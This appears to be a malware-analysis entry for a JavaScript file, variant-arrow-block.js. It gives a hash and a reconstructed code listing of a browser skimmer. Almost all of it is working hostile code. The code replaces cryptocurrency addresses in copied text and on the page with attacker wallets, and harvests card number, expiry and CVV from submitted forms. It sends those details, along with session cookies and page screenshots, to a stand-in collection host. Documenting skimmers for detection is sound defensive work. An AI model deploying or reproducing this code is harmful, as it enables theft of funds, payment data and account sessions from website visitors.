variant-arrow-block.js
Wallet hijacker also exports payment-card secretsBrowser session cookie sent in fetch POST body
SHA-256e3e9ac657ecbca688e7e739feb18390ee27b44e6b60bbc4e4619fdf55baabc43
Evidence
1// Behavioral reconstruction from Report URI and StepSecurity; not recovered bytes.
2(function () {
3 const wallets = { eth: '0xC4026b06D82b0F0B363eda0642D61CfbDc17884e', btc: '19g9rZcPeiz8rUvyWpTRyXXhPnjsWrc3kW' };
4 function swap(text) {
5 return text.replace(/0x[a-fA-F0-9]{40}/g, wallets.eth)
6 .replace(/[13][a-km-zA-HJ-NP-Z1-9]{25,34}/g, wallets.btc);
7 }
8 document.addEventListener('copy', (event) => {
9 event.clipboardData.setData('text/plain', swap(window.getSelection().toString()));
10 event.preventDefault();
11 }, true);
12 const write = navigator.clipboard.writeText.bind(navigator.clipboard);
13 navigator.clipboard.writeText = function (text) { return write(swap(text)); };
14 function walk() {
15 const walker = document.createTreeWalker(document.body, NodeFilter.SHOW_TEXT);
16 let node;
17 while ((node = walker.nextNode())) node.nodeValue = swap(node.nodeValue);
18 }
19 new MutationObserver(walk).observe(document.body, {childList:true, subtree:true});
20 function luhn(number) {
21 let sum = 0, alternate = false;
22 for (let i = number.length - 1; i >= 0; i--) {
23 let digit = Number(number[i]);
24 if (alternate) { digit *= 2; if (digit > 9) digit -= 9; }
25 sum += digit; alternate = !alternate;
26 }
27 return number.length >= 13 && sum % 10 === 0;
28 }
29 document.addEventListener('submit', (event) => {
30 const form = event.target;
31 const number = form.querySelector('[autocomplete="cc-number"]').value.replace(/\D/g, '');
32 const expiry = form.querySelector('[autocomplete="cc-exp"]').value;
33 const security = form.querySelector('[autocomplete="cc-csc"]').value;
34 if (luhn(number) && expiry && security) { navigator.sendBeacon('https://collect.example.invalid/payment', JSON.stringify({pan:number,exp:expiry,cvv:security,page:location.href})); }
35 }, true);
36 async function reportHit() {
37 const canvas = await html2canvas(document.documentElement);
38 fetch('https://collect.example.invalid/context', { method:'POST', headers:{'Content-Type':'text/plain'}, body:JSON.stringify({url:location.href, cookie:document.cookie, screenshot:canvas.toDataURL('image/jpeg')}) });
39 }
40 if (/wallet|payment/i.test(document.body.innerText)) reportHit();
41})();